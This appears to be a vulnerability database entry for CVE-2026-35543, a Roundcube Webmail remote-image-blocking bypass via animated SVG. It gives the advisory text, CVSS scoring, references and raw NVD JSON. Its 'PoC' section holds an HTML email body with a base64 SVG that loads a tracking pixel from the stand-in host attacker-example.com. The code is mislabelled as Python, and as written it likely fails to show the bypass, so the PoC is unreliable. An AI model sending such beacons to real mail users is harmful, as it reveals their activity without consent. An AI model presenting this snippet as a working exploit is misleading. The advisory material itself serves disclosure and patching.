CVE-2026-35543

Description

An issue was discovered in Roundcube Webmail before 1.5.14 and 1.6.14. The remote image blocking feature can be bypassed via SVG content (with animate attributes) in an e-mail message. This may lead to information disclosure or access-control bypass.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:* - VULNERABLE

Roundcube Webmail < 1.5.14

Roundcube Webmail < 1.6.14

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-35543: SVG Remote Image Bypass -->
<!-- This HTML snippet can be sent in an email body -->
<html>
<body>
  <h3>Test Image Bypass</h3>
  <!-- SVG with animate attribute to bypass filters -->
  <img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDx0ZXh0IHg9IjAiIHk9IjIwIiBmb250LXNpemU9IjIwIj5Qb2MgVGVzdDwvdGV4dD4KICAgIDxhbmltYXRlIGF0dHJpYnV0ZU5hbWU9IngiIGZyb209IjAiIHRvPSIxMDAiIGR1cj0iMXMiIHJlcGVhdENvdW50PSJpbmRlZmluaXRlIiAvPgogICAgPGltYWdlIHhsaW5rOmhyZWY9Imh0dHA6Ly9hdHRhY2tlci1leGFtcGxlLmNvbS9waXhlbC5naWYiIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIC8+Cjwvc3ZnPg==" />
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-35543
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-35543
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-35543/
[4] VulDB https://vuldb.com/cve/CVE-2026-35543
[5] https://github.com/roundcube/roundcubemail/commit/1a63e01542bff42aaa71c00c4c279a09ef31f20c
[6] https://github.com/roundcube/roundcubemail/commit/39471343ee081ce1d31696c456a2c163462daae3
[7] https://github.com/roundcube/roundcubemail/commit/82ab5eca7b332fce7a174b2b987f0957a66377cd
[8] https://github.com/roundcube/roundcubemail/releases/tag/1.5.14
[9] https://github.com/roundcube/roundcubemail/releases/tag/1.6.14
[10] https://github.com/roundcube/roundcubemail/releases/tag/1.7-rc5
[11] https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.14

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-35543", "sourceIdentifier": "[email protected]", "published": "2026-04-03T05:16:22.637", "lastModified": "2026-04-07T20:40:11.810", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Roundcube Webmail before 1.5.14 and 1.6.14. The remote image blocking feature can be bypassed via SVG content (with animate attributes) in an e-mail message. This may lead to information disclosure or access-control bypass."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-669"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.5.14", "matchCriteriaId": "40F75FD7-CF6D-4DC4-A33D-625D0F02FAB3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:roundcube:webmail:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.6.0", "versionEndExcluding": "1.6.14", "matchCriteriaId": "AF4B6448-D4F5-4680-B32C-9366630E9485"}]}]}], "references": [{"url": "https://github.com/roundcube/roundcubemail/commit/1a63e01542bff42aaa71c00c4c279a09ef31f20c", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roundcube/roundcubemail/commit/39471343ee081ce1d31696c456a2c163462daae3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roundcube/roundcubemail/commit/82ab5eca7b332fce7a174b2b987f0957a66377cd", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.5.14", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.6.14", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/roundcube/roundcubemail/releases/tag/1.7-rc5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://roundcube.net/news/2026/03/18/security-updates-1.7-rc5-1.6.14-1.5.14", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}